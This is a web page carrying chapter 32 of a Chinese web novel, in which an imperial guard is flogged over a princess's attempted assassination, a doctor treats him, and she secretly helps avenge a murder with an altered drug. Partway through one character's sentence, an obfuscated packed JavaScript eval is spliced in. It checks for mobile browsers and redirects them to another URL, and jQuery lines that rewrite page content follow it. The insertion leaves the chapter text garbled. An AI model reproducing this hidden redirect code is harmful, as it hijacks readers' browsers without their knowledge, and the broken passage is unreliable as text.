默认冷灰
24号文字
方正启体

32. 登闻鼓(2)

作者:936本书字数:K更新时间:
    禁卫司牢狱里,昏暗的油灯下投出一片光亮,成为幽暗的环境中唯一的暖色。狱史井然有序地穿梭其间,死气笼罩下只有脚步声和牢房里时不时响起的呻吟声。


    边旭和裴望舒站在一间牢房中,两人来得匆忙依旧顶着脏衣。牢房的地上横七竖八的倒着三人,正是在路上抓获的行刺之人,但已经死了。发黑的血从他们口中流出,显而易见是中毒身亡。


    裴望舒问道:“可查出什么?”


    边旭拧眉,面色十分难看:“我去送安和了,等回来就看到他们已经死了。身上已经搜查过了,什么都没有,就连他们的毒药都不知道哪儿来的。”


    裴望舒走到尸体前蹲下,“许是先前便已吞了毒的死侍,只待任务成功换解药的。”他拍了拍手站起来,“你说会是哪位皇子下的手呢?”


    安和出宫并不是个秘密,有心人留意就能查到。几位皇子明争暗斗,想扳倒太子从他这个胞妹下手总归简单些。


    边旭安排人处理死尸,牢房里瞬间只留下他和裴望舒。


    “我和安和今晚遇到三皇子了,他身边还站着太师的儿子。”他说到。


    裴望舒若有所思:“三皇子和徐利知?”他笑起来,“两个关系还这么好啊。”


    八月转瞬就只剩个尾巴,自七夕过后裴望舒有一阵子没找余怜,只托胡昂带了话说是在查行刺之事。余怜得了消息没再理会,给了两瓶伤药后在医馆里无视年掌柜打量的视线忙自己的。


    这日刚行诊结束,未进医馆就看到街上吵吵闹闹,余怜敏锐的察觉出有大事发生,快步回了医馆。小川和柱子消息最是灵通,余怜觉得他们一定也知道今日这事。


    果不其然,刚站在医馆门口就看到他俩滔滔不绝,旁边还围着赵寡妇他们。


    余怜上前打探:“你们围在这儿说什么呢?”


    梅嫂子挪出一个位置让给她说到:“余丫头发生大事了,听说有个当官的他老子被人杀了,他儿子在报官呢。”


    老汤的儿子抱着余怜的腿晃:“小川哥说死的人叫彭留闲。”


    赵寡妇捂着嘴笑,戳了下汤米的小脑瓜说:“你这小滑头还听懂了啊,你能知道什么啊。”


    众人笑起来,汤米闹了个红脸气冲冲地说:“你们别小瞧我,我什么都知道!”说完蹬蹬蹬跑回去了。


    余怜随小川和柱子也进了医馆,放下医箱后她叫来两人:“你们刚说的事再给我说下,我也听听。”听听是不是彭留闲真被发现了。


    小川搬着凳子重新复述:“余大夫,你还记不记得你先前上门看诊的彭家?”看到余怜点头后他继续说:“就是彭家老爷死了,说是快一个多月没归家了,他儿子休沐回去觉得不对,差人找了几天结果只找到尸体。”


    柱子在旁边接道:“说是死的惨得很,一看就是被折磨透了。然后他儿子今日就去敲了登闻鼓,要为父申冤,一定揪出那个杀人犯。”


    余怜思付:“能找到吗?”


    小川和柱子一起挠头,“这我们也不清楚啊,毕竟死了这么久才发现,反正和我们也没关系,看个热闹吧。”小川说。


    余怜打发走他们两个,背过身思索,她得找小梦一趟了。


    消息像插了翅膀一样飞到各处,上京城的人津津乐道谈论彭留闲之死,他留香楼二掌柜的身份也迅速被扒出来。一部分人可惜他有万贯家财没命花,一部分人落井下石,说他就是因为钱路不正当才被折磨死。众说纷纭,看笑话的比比皆是。


    皇帝高坐在朝堂之上,脸上已然浮现出不耐烦。安和公主遇刺一事还没进展,官员父亲被害一事接踵而至,他只能感觉到心力交瘁。


    低沉的声音从他口中流出:“敲登闻鼓的是谁?”处理了一圈事后他才问到。


    吏部尚书出声应答:“回陛下,是吏部的一位主事。”


    “主事?”皇帝又说,“既然他敲了登闻鼓,就交由刑部处理。”


    刑部尚书领命下去。


    “裴望舒。”


    朝中大臣纷纷抬头看向这个名字的主人,皇帝任命的镇抚却让公主遇刺,他们想知道皇帝是会揭过还是处置。


    一身绯色官服的裴望舒站出来:“臣在。”他头虽低着,但腰杆挺得笔直。


    “领罚去吧。”


    四个字结束众人的猜想,皇帝身边的大太监尖声喊退朝。


    刑部迅速接手彭留闲被害一案,彭家上下到其产业遍及之处,凡是可疑的皆要排查一番。彭家儿女齐聚一堂,誓死要求查明真相。


    镇抚司裴望舒的住处里,余怜轻轻的给他上药。他光着的上半身交错着鞭痕,血淋淋的看着瘆人,实则并未伤筋动骨。


    余怜边上药边说:“给你这行刑的人算不算阳奉阴违。”她被胡昂叫来时已经知道了来龙去脉,但看到伤时还是觉得皇权威严。明明公主并未出任何事,却还是说罚就罚。


    裴望舒想偏过头去看她,结果扯到背上的伤口,流出的血又把药给打湿,余怜轻轻拍了他一下才老实。他重新把头枕在胳膊上闷声说:“当然不算了,只说受罚又没说要把我打死。而且我这也很严重的好吗,疼死了。”


    余怜才不信他的鬼话,这皮肉伤都比不过之前给他治的一半,而且她做的伤药里还加了镇痛的,根本察觉不到多疼。


    余怜把裴望舒细细的包扎好,又给他穿上衣服:“这几日伤口别沾水,药一天换一次,要是我第二日巳时过还没来,就让你的手下给你换。”她把药瓶摆好嘱托。


    “对了,也别剧烈运动,免的伤口又崩开。”


    裴望舒嘴角噙着笑点头,嘴一快说到:“要是我天天都受伤就好了。”


    当着医者面说这种话是会被骂的,余怜冷着脸看他:“你说什么胡话,鞭子也抽到你脑子了?”


    攻击力太强,裴望舒收回嬉皮笑脸的表情解释:“不是不是,我说着玩儿的,你别信。”


    余怜背对着他收拾东西。


    “你……生气了嘛?”裴望舒问,他觉得情况好像有点不对。


    “没有。”余怜背好医箱转过面,“我只是,不喜欢有人不拿自己的身体当回事,下次别说这种话了。”


    她走过去拢了下裴望舒的衣领说:“我先走了,你好好养伤。”


    “外面马车备好了,”他说,“你记得明日也要来啊!”


    “好的。”


    余怜前脚刚走,胡昂就闻着味儿窜进来,看到行动自如的裴望舒说道:“余大夫的药就是厉害啊,刚上上你这就好了大半了,我看余大夫明日也别来了,反正都快好了。”


    裴望舒白了他一眼道:“哪儿来的庸医,快滚远点儿。”


    胡昂笑嘻嘻地走到桌边给他倒茶,“哎呦,我这确实没人家余大夫厉害,不仅长得美医术还高。”


    裴望舒作势要把茶杯里的水倒在他身上才止住他的话。


    但胡昂是个死猪不怕开水烫的,他也知道裴望舒现在心情好,赶紧问出了他憋了好久的问题:“哥,余大夫知道你喜欢她不?”


    裴望舒喝茶的动作一停,他还真不清楚余怜是否知道。


    胡昂又接着问:“还有还有,余大夫喜欢你不?”


    这裴望舒就更不知道了,但他觉得余怜对他一定也有意思,不然干嘛总对他作出一些亲密的动作,还说一些暧昧的话。


    “我不清楚她知不知道,但她……应该对我有点意思吧……”裴望舒犹犹豫豫地说。


    胡昂这下全清楚了,他猛地一拍桌子:“不用你说了哥!”裴望舒不知道他要搞哪出,侧目一瞥就听到他又说:“为了你的幸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275142|198203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    福,我一定会向余大夫打探清楚的。”


    “就算余大夫不喜欢你,我也一定会坚定地站在你这边,帮你追求她的!”


    胡昂说的慷慨激昂,他觉得自己一定能帮裴望舒得到爱情,简直比当事人还着急。


    但裴望舒打断了他的幻想:“别去打扰她。”他拍了下胡昂的头,“感情的事本来就是你情我愿,慢慢来急什么。”


    胡昂不懂裴望舒的想法,他觉得遇到自己喜欢的就应该大胆追求,等细水长流结束,怕是人家孩子都满地跑了。于是他问:“你就不怕余大夫看上别人了?”


    裴望舒真想打烂他的嘴,“先前怎么没发现你嘴这么贱啊?”真是哪壶不开提哪壶。


    胡昂扣扣脸,不好意思的笑:“哎呦哥,我这不是担心你吗,想着帮你参谋参谋。”他又不怕死的继续问,“真的哥,到时候你不怕吗?”


    裴望舒当然怕,但比起这个他更怕余怜遇不到自己喜欢的,“只要是她喜欢的就行,她有自己的选择我又何必强求,能认识她就已经是莫大的缘分了。”


    胡昂真想感叹一句大格局:“哥,怪不得你是镇抚呢。”他一脸敬佩的竖了个大拇指出来。


    裴望舒扶额,他现在觉得胡昂不仅嘴贱脑子还有问题:“明天余怜来了你让她给你看看吧,我有点担心你了。”


    可怜的胡昂还真觉得自己被关心了,连忙答应下来。


    街上,余怜坐在马车里听车夫聊彭家的事。这才没几日又走漏出风声,说是刘氏疯了,把屋里的人给吓了个半死。


    “姑娘你可不知道,”车夫绘声绘色地描述,“当时刘氏披头散发的,嘴里鬼叫着到处砸东西,人都认不清。她的几个孩子去拉都差点被误伤。”


    “这样凶,那可找大夫去瞧过,可是吃错什么东西弄的?”余怜问。


    车夫打着马回:“找了,听说还是御医,结果什么都没瞧出来,就是莫名其妙的疯了。”


    余怜笑了一下,若是真的能瞧出来才算怪见。这改良过的平心散只有她和如娘知道,而且在给小梦前她又改了一次,除非是个善用毒的,否则定是想不到。


    车夫还在说:“反正现在我们都觉得刘氏肯定是染上了不干净的东西,没准儿就是他男人死了,然后觉得寂寞来找她了。”


    难怪这两天一批一批的人往卧佛山的寺庙里去,原来是这样。余怜放下窗帘笑,明明是人搞的鬼,结果能扯到死人身上,她都不知道该怎么评价了。


    满杏堂里,小川看到余怜回来就迎上去,手上还拿了一封信:“余大夫,先前有人给你送来的,但不知道是谁,你自己打开看看吧。”


    余怜接过信坐到自己的位子打开,很简短的一句话:“酉时过半,你家见。”落款是小梦,她将信叠好放进医箱。几天前刚听到彭留闲的消息她就递了信进去,结果这么久才有消息传出来,看来小梦的处境不太好。


    喜树底,余怜坐着。“嘭嘭嘭”的响起敲门声,她拉开门,院子里瞬间钻进一人。


    余怜快言快语:“彭家现在如何了?”


    小梦一言难尽:“不好说。现在彭昌东和彭昌华都回来了,下人都被看的紧,我好不容易才出来的。”


    余怜看着她问:“那你后面打算怎么做,需要我帮你逃出来吗?”


    小梦摇摇头感激的看她:“你已经帮我报了仇,别再淌这趟浑水了,我自己会想办法的。”她牵起余怜的手,“你自己也小心点,先前彭留闲找你看诊,刑部的人很快就会来找你的。”


    余怜拍拍她的手背,让她放轻松:“你放心,那晚没人注意到我的。”


    “如此便好,时间差不多了我要赶紧回去,不然被彭昌东发现就糟了。”还没说两句话小梦便走了。


    匆匆的来又匆匆的去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)